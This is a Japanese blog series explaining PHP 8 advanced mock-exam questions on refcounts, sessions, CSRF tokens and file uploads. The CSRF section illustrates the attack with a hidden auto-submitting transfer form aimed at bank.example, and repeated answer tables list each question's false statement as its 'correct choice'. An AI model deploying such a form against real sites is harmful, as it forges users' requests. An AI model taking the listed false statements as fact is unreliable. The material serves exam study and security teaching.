    xdebug_debug_zval() は、変数の 参照カウント (refcount) や 参照 (is_ref) の状態を確認できる デバッグ用の関数 です。

    何ができる?「変数がどこでどのように扱われているかを可視化できる便利なデバッグツール」です

    • 変数が何回参照されているかrefcount の値がわかる)
    • 参照として扱われているかどうかis_ref の値がわかる)
    • オブジェクトや配列の内部構造を確認(Xdebug が詳細に表示)

    参照代入 (&) では refcount が増える

    • $i3 = &$i; のように 参照渡し をすると、refcount は増加する。

    i: (refcount=1, is_ref=0)=1
    i: (refcount=1, is_ref=0)=1
    i: (refcount=2, is_ref=1)=1

    よって問題文は誤り❌です

    PHP の変数で、参照された数は、Xdebug がインストール済みであれば xdebug_debug_zval() 関数によって得る事ができる。

    オブジェクトを clone した場合は「オブジェクトのプロパティを 全てシャローコピーする」が、コピーオンライトによって内部的には参照が用いられているために、値を変更するまでの間は一時的に refcount が増える。

    そのため、以下のコード

    $obj = new stdClass();
    xdebug_debug_zval('obj');
    
    $obj2 = clone $obj;
    xdebug_debug_zval('obj');
    
    $obj2->tset = 'value';
    xdebug_debug_zval('obj');

    を実行すると、結果は次のとおりとなる。

    obj: (refcount=1, is_ref=0)=class stdClass {  }
    obj: (refcount=2, is_ref=0)=class stdClass {  }
    obj: (refcount=1, is_ref=0)=class stdClass {  }

    この説明に誤りはありません。内容は⭕です

    PHP の変数はコピーオンライトが使われているため、参照ではないコピーであっても、コピーのタイミングではメモリはほとんど消費される事がない。

    ただしコピー先の値に変更が加わると、そのタイミングで「実態がコピーされる」ために、一気にメモリが消費される。

    そのため、以下のコード

    $awk = range(0, 1000000);
    var_dump(memory_get_usage(true));
    
    $awk2 = $awk;
    var_dump(memory_get_usage(true));
    
    $awk2[] = 'v';
    var_dump(memory_get_usage(true));

    を実行すると、結果は次のとおりとなる。(値は環境によって変わる)

    int(35655680)
    int(35655680)
    int(69214208)

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題20. $_SESSION

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 20

    セッション に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    session_save_path ( string|null $path = null ) : string|false
    session_save_path() は、 現在のセッションデータ保存パスを返します。

    session_set_cookie_params ( int $lifetime_or_options , string|null $path = null , string|null $domain = null , bool|null $secure = null , bool|null $httponly = null ) : bool
    session_set_cookie_params ( array $lifetime_or_options ) : bool
    session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc , callable $create_sid = ? , callable $validate_sid = ? , callable $update_timestamp = ? ) : bool
    session_set_save_handler ( object $sessionhandler , bool $register_shutdown = true ) : bool

    PHP は「複数回のアクセスを通じて特定のデータを保持する手段」としてのセッションサポート機能を持っている。

    セッションサポート機能により、スーパーグローバル配列 $_SESSION を使ってリクエスト間でデータを格納できるようになる。

    そのため、以下のコード

    ession_start();
    $_SESSION['key'] = 'value';

    をブラウザ経由で実行した後に以下のコード

    session_start();
    var_dump($_SESSION['key']);
    をブラウザ経由で実行すると、結果は次のとおりとなる。
    
    string(5) "value"

    1. session_start() を呼び出す
    • PHP は session_start() を実行すると、セッションを開始する。
    • セッション ID (PHPSESSID) がセットされる。(クッキー or URLパラメータ)
    • すでに有効なセッションがある場合、そのセッションのデータを $_SESSION に復元する。
    1. $_SESSION を使ってデータを格納
    • $_SESSION['key'] = 'value'; のようにデータを保存すると、サーバー側のセッションストレージに保存される。
    1. リクエストをまたいでデータを利用
    • session_start() を再び実行すると、サーバー上のセッションデータが $_SESSION に復元される。
    PHPセッションの仕組み クライアント側 サーバー側 1 session_start() セッション開始・復元 セッションID (PHPSESSID) Cookie または URL 2 $_SESSION[‘key’] = ‘value’; データをセッションに格納 セッション ストレージ 3 次回リクエスト時 セッションIDを送信 セッションID送信 $_SESSIONにデータ復元

    問題文の内容は正しい⭕です

    PHP のセッションサポート機能において、セッションデータはデフォルトではファイルに保存される。

    また、保存先のファイルは session_save_path() 関数によって取得または設定する事ができる。

    そのため、以下のコード

    ob_start();
    var_dump( session_save_path() );
    session_save_path('/tmp');
    var_dump( session_save_path() );

    を実行すると、結果は次のとおりとなる。

    string(0) “”
    string(4) “/tmp”

    この説明に誤りはありません。内容は⭕です

    PHP のセッションサポート機能において、セッション ID というセッション ID と呼ばれるユニークな ID が割り当てられ、それは基本的にユーザー側にクッキーとして保存される。

    そのためクッキーを使うので、セッション ID を保存するクッキーに対するパラメータを設定する事ができる関数が存在する。

    そのため、以下のコード

    ob_start();
    var_dump( session_get_cookie_params() );
    session_set_cookie_params(['lifetime' => 86400, 'samesite' => 'Strict', 'secure' => true, 'httponly' => true]);
    var_dump( session_get_cookie_params() );

    を実行すると、結果は次のとおりとなる。

    array(6) {
      ["lifetime"]=>
      int(0)
      ["path"]=>
      string(1) "/"
      ["domain"]=>
      string(0) ""
      ["secure"]=>
      bool(false)
      ["httponly"]=>
      bool(false)
      ["samesite"]=>
      string(0) ""
    }
    Warning: session_set_cookie_params(): Unrecognized key 'samesite' found in the options array in ...
    array(6) {
      ["lifetime"]=>
      int(86400)
      ["path"]=>
      string(1) "/"
      ["domain"]=>
      string(0) ""
      ["secure"]=>
      bool(true)
      ["httponly"]=>
      bool(true)
      ["samesite"]=>
      string(0) ""
    }

    session_set_cookie_params() は、PHPのセッションに関連するクッキーの動作を設定する関数です

    セッションIDを保存するクッキーの有効期限やセキュリティ設定をカスタマイズできます。

    session_set_cookie_params(
        int $lifetime,
        string $path = "",
        string $domain = "",
        bool $secure = false,
        bool $httponly = false,
        string|null $samesite = ""
    ): bool
    
    // または、PHP 7.3以降では配列を使って指定することも可能です:
    session_set_cookie_params([
        'lifetime' => 3600,      // クッキーの有効期限(秒)
        'path' => '/',          // クッキーの適用パス
        'domain' => '.example.com',  // クッキーの適用ドメイン
        'secure' => true,       // HTTPS接続時のみクッキーを送信するか
        'httponly' => true,     // JavaScriptからクッキーをアクセス不可にするか
        'samesite' => 'Lax'     // SameSiteポリシーを指定
    ]);

    ※この関数を session_start() よりも前に呼び出す必要があります。

    session_set_cookie_params のオプション一覧

    オプション説明
    lifetimeクッキーの有効期間(秒単位)3600(1時間)
    pathクッキーの適用パス"/"(ドメイン全体)
    domainクッキーの適用ドメイン".example.com"
    secureHTTPS接続時のみクッキーを送信true(推奨)
    httponlyJavaScriptからのアクセスを禁止(XSS対策)true
    samesiteクロスサイトリクエストの制限'Lax'(デフォルト)

    SameSite の3つの値

    挙動使い所
    Strict外部サイトからの全リクエストでクッキー送らない超安全だけどログイン機能の利便性下がる
    LaxGET系の外部リンク(例: <a href="">)はOK、POSTなどはNG一般的なセキュリティ強化におすすめ
    Noneどんなリクエストでもクッキーを送る(ただし Secure 必須)複数ドメイン間で共有するサービス(例: サブドメイン間ログイン)

    PHP 7.3以降ではsamesiteオプションは正しく認識されます。

    PHPバージョンごとのセッションCookieパラメータ PHP 7.2以前 session_set_cookie_params($lifetime, $path, $domain, $secure, $httponly); • samesiteオプションなし • 引数による個別指定 PHP 7.3以降 session_set_cookie_params([ ‘lifetime’ => 86400, ‘samesite’ => ‘Strict’, // 正しく認識される ‘secure’ => true, ‘httponly’ => true]); PHP 7.3以降での出力 ‘samesite’ => ‘Strict’ // 正しく設定される Warning は発生しない

    よって問題文は誤り❌です

    session_set_cookie_params と setcookie の違い

    session_set_cookie_paramssetcookie は、どちらも クッキーの設定 に関する関数ですが、用途と動作が異なります

    session_set_cookie_paramsPHPのセッションIDクッキー に影響
    setcookie自由なクッキーを作成・管理 できる
    クッキーのセキュリティ設定 (samesite, httponly, secure) は 両方の関数で可能
    session_set_cookie_paramssession_start() を実行する前 に設定する必要あり

    もし「PHPのセッションを安全に使いたい」なら session_set_cookie_params を使い、
    「独自のデータをクッキーに保存したい」なら setcookie を使うのが適切
    です! 🎯

    PHP のセッションサポート機能において、セッションデータはデフォルトではファイルに保存される。

    しかし「ファイル以外 (DB 等)」に保存をする事も出来る。そのためにsession_set_save_handler() という関数がある。

    最近は後者の方法で実装される事が多いが、その場合、SessionHandlerInterface、 SessionIdInterface (オプション) または SessionUpdateTimestampHandlerInterface を実装したクラス を継承したクラスのオブジェクトを引数として指定する必要がある。

    そのため、以下のコード

    class Hoge {
    }
    
    ob_start();
    session_set_save_handler(new Hoge);

    を実行すると、結果は次のとおりとなる。

    Fatal error: Uncaught TypeError: session_set_save_handler(): Argument #1 ($open) must be of type SessionHandlerInterface, Hoge given in …

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題19. CSRF (Cross-Site Request Forgery) random_bytes()

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 19

    推測困難なトークン に関する説明の中で、誤っているものを1つ選びなさい。
    また、すべてのコードには下記のコードが適切な箇所に書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);
    下記はマニュアルから一部引用した内容である。

    uniqid ( string $prefix = “” , bool $more_entropy = false ) : string
    警告:この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

    mt_rand ( ) : int
    mt_rand ( int $min , int $max ) : int
    警告:この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

    mt_rand ( ) : int
    mt_rand ( int $min , int $max ) : int
    警告:この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

    CSRF 等でも使われる事がある、秘密情報としての「推測(予測)困難なトークン」を作る場合において、random_bytes() は「暗号論的に安全な、疑似ランダムなバイト列を生成する」事が出来る。

    そのため、以下のコード

    var_dump( bin2hex( random_bytes(24) ) );

    は正しく実行でき、結果は

    string(48) "e5c471cbf4502eb90dbfbd2480f06a2d6af69ce4b0722b31"

    となる (乱数の値は実行毎に変わる)。この値は「暗号論的にランダムなバイト列 (の 16 進表現)」なので、長さが十分であれば「推測 (予測) 困難なトークン」となり得る。

    Webアプリケーションの脆弱性の一つです

    ユーザーが意図しないリクエストを、強制的に送信させる攻撃

    ターゲットユーザーには気づかれなず、別サイトに移動させられるのがファーストステップです

    CSRF (Cross-Site Request Forgery) 攻撃シナリオ 正規ユーザー 正規サイト 悪意のある サイト CSRF対策 トークンベース • セッションごとのトークン • フォームにトークン埋め込み • リクエスト時に検証 SameSite Cookie • Strict設定 • Lax設定(推奨) • クロスサイト制限 追加の対策 • Refererチェック • 重要操作の再認証 • カスタムヘッダー

    その後はクライアントサイドは正規のコンテンツに見えるが、別の状態で、利用しているサーバーへリクエストすることとなります。

    CSRF攻撃の第二段階:隠されたリクエスト ユーザーの目に見える部分 可愛い猫の写真ギャラリー お得な商品情報 興味を引く記事コンテンツ 裏で実行される処理 <form action=”https://bank.example/transfer” method=”POST” style=”display:none”> <input type=”hidden” name=”amount” value=”10000″> <script> document.forms[0].submit(); </script> Cookieを含むリクエストが自動的に送信される → bank.example

    正規アクセスとCSRF攻撃の情報の流れ 正規アクセス ユーザー ブラウザ 銀行サイト 1. 送金ページにアクセス 2. Cookie付きリクエスト 3. 送金フォーム + CSRFトークン 4. 送金実行(意図的な操作) CSRF攻撃 ユーザー ブラウザ 銀行サイト 1. 悪意のあるサイトにアクセス 2. 自動送信(Cookie付き) 3. リクエスト処理(CSRFトークンなし) 4. ユーザーは操作に気付かない

    本題にもっどて問題文では下記関数が使用されています

    random_bytes(int $length): string

    暗号論的に安全な疑似ランダムなバイト列を生成でセキュアなトークンになってます

    $bytes = random_bytes(24); // 24バイトのバイナリデータ(読めない文字列)

    bin2hex(string $binary): string

    バイナリデータを16進数表現の文字列に変換

    この関数でバイナリデータを文字列に変換して処理をして文字化けしないようにしてます

    $bytes = random_bytes(24); // 24バイトのバイナリデータ(読めない文字列)

    問題文の内容は正しい⭕です

    CSRF 等でも使われる事がある、秘密情報としての「推測(予測)困難なトークン」を作る場合において、openssl_random_pseudo_bytes() は「疑似ランダムなバイト文字列を生成する」事が出来る。

    古いシステムでない限り暗号学的に強いアルゴリズムを使って疑似乱数が生成される事が多いが、古いシステムなどでは「暗号学的に強くない」文字列である可能性もあり、それは第二引数によって知る事が出来る。

    そのため、以下のコード

    var_dump( base64_encode( openssl_random_pseudo_bytes(24, $flg) ) );
    var_dump($flg);

    は正しく実行でき、結果は

    string(32) “OFUw6O7WR785Kg5YZbGZOKDwJzXRn60J”
    bool(true)
    となる (乱数の値は実行毎に変わる)。この値は、第二引数で与えた $flg の値が true であるため「暗号論的にランダムなバイト列 (の 16 進表現)」なので、長さが十分であれば「推測 (予測) 困難なトークン」となり得る。

    random_bytes()

    random_bytes()は暗号論的に安全な乱数を生成する関数として有効です。

    乱数生成メソッドの比較 random_bytes() • 暗号論的に安全な乱数生成 • 予測困難な値を生成 • PHP 7.0以降で使用可能 非推奨の方法 • rand() – 予測可能な乱数 • mt_rand() – メルセンヌツイスターで予測可能 • uniqid() – タイムスタンプベースで予測可能 • time() – 完全に予測可能 推奨される使用例 $token = bin2hex(random_bytes(32)); $csrf_token = base64_encode(random_bytes(32));

    この説明に誤りはありません。内容は⭕です

    CSRF等でも使われる事がある、秘密情報としての「推測(予測)困難なトークン」を作る場合において。

    そのため、以下のコード

    var_dump( uniqid((string)mt_rand(), true) );

    は正しく実行でき、結果は

    string(33) “17821489405e874a50df8b89.86544478”
    となる (乱数の値は実行毎に変わる)。uniqid() 関数と mt_rand() 関数を組み合わせているため、この値は「暗号論的にランダムな文字列」なので「推測 (予測) 困難なトークン」となり得る。

    mt_rand()は高速な擬似乱数だけど予測可能

    安全な乱数生成と非安全な乱数生成の比較 非推奨の方法 uniqid() mt_rand() rand() • 予測可能 • タイムスタンプベース 推奨される方法 random_bytes() openssl_random_pseudo_bytes() • 暗号論的に安全 • 予測困難 セキュアなトークン生成の例 $token = bin2hex(random_bytes(32)); // 64文字の16進数 // または $token = base64_encode(random_bytes(32)); // base64エンコード ※ 32バイト(256ビット)は現代の暗号化に十分な長さ
    メソッド安全性用途例
    uniqid()❌ ×ユニークIDの簡易生成(セキュリティ用途ではNG)
    mt_rand()❌ ×ゲームや軽い乱数用(暗号用途ではNG)
    random_bytes()✅ ◎暗号・セッション・CSRF・APIキーなど
    random_int()✅ ◎暗号レベルで安全な整数乱数が必要なとき

    よって問題文は誤り❌です

    CSRF 等でも使われる事がある、秘密情報としての「推測(予測)困難なトークン」を作る場合において、mt_rand() は乱数を生成するが、

    とあるため、これを使用しても推測(予測)困難なトークンを作成する事は出来ない。

    そのため、以下のコード

    var_dump( mt_getrandmax() );
    var_dump( mt_rand() );

    は正しく実行でき、結果は

    int(2147483647)
    int(248780506)
    となるが (乱数の値は実行毎に変わる)、この値は「暗号論的にランダムな文字列」ではないので「推測 (予測) 困難なトークン」となり得ない。

    よって選択肢の内容は正しい⭕です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    【php8上級/準上級試験】模擬問題解説 問題18. $_FILES

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 18

    ファイルアップロード に関する説明の中で、誤っているものを1つ選びなさい。

    PHP でファイルアップロードをする場合、HTML の form には必ず「enctype=”multipart/form-data”」「method=”POST”」を指定する必要がある。

    これらを忘れると、ファイルを取得する事ができない。

    そのため、以下の HTML

    <form action="./sample.php" method="POST">
      <input name="f" type="file" />
      <button>upload</button>
    </form>

    をブラウザで閲覧して以下のコード

    var_dump($_FILES);

    を実行すると、結果は次のとおりとなる。

    array(0) {
    }

    なぜ enctype=”multipart/form-data” と method=”POST” が必要なのか?

    PHP でファイルをアップロードする場合、フォームの enctype(エンコーディングタイプ)と method(送信方法)を適切に設定しないと、ファイルデータがサーバーに送信されず、$_FILES が空の配列になってしまいます。

    なぜ enctype=”multipart/form-data” と method=”POST” が必要なのか?

    • enctype(エンコーディングタイプ)は、フォームデータをどのようにエンコードしてサーバーに送るかを決める 属性です。
    • ファイルを送信する場合、バイナリデータを含むため、特別なエンコード方法が必要 になります。
    • enctype=”multipart/form-data” を指定しないと、ファイルの内容が送信されない ため、PHPの $_FILES でファイルを受け取ることができません。
    PHP のファイルアップロードの注意点 ✅ 正しいフォーム <form action=”upload.php” method=”POST” enctype=”multipart/form-data”> <input type=”file” name=”f” /> <button>upload</button> </form> ❌ 誤ったフォーム (enctype なし) <form action=”upload.php” method=”POST”> <input type=”file” name=”f” /> <button>upload</button> </form> 📌 $_FILES の結果 ✅ 正しいフォーム → array(1) { [“f”]=> { … } } ❌ 誤ったフォーム → array(0) { }

    問題文の内容は正しい⭕です

    PHPでファイルアップロードされた時に、アップロードされたファイルがサーバー上で保存されているテンポラリファイルの名前は

    $_FILES[‘{form の name の値}’][‘tmp_name’]
    に入っている。

    そのため、アップロードされたファイルを新しい位置に移動する move_uploaded_file() 関数の第一引数として適切に使う事ができる。

    そのため、以下のHTML

    <form action="./sample.php" method="POST">
      <input name="f" type="file" />
      <button>upload</button>
    </form>

    をブラウザで閲覧して以下のコード

    var_dump( $_FILES['f']['tmp_name'] );
    var_dump( is_readable($_FILES['f']['tmp_name']) );

    を実行すると、結果は次のとおりとなる。(ファイル名は実行毎に変わる)

    string(14) “/tmp/php0stFZs”
    bool(true)

    $_FILESスーパーグローバル変数について

    $_FILES スーパーグローバル変数 HTMLフォーム <form enctype=”multipart/ form-data” method=”POST”> <input type=”file” name=”upload”> アップロード $_FILES[‘upload’] ‘name’ => ‘file.jpg’ ‘type’ => ‘image/jpeg’ ‘size’ => 1024000 ‘tmp_name’ => ‘/tmp/…’ ‘error’ => 0 ‘full_path’ => ‘file.jpg’ アップロードされたファイルの情報が自動的に格納される file.jpg

    この説明に誤りはありません。内容は⭕です

    PHPでファイルアップロードされた時に、クライアントマシンの元のファイル名は

    $_FILES[‘{form の name の値}’][‘name’]
    に入っている。

    そのため、アップロードされたファイルを新しい位置に移動する move_uploaded_file() 関数の第二引数として適切に使う事ができる。

    そのため、以下の HTML

    <form action="./sample.php" method="POST">
      <input name="f" type="file" />
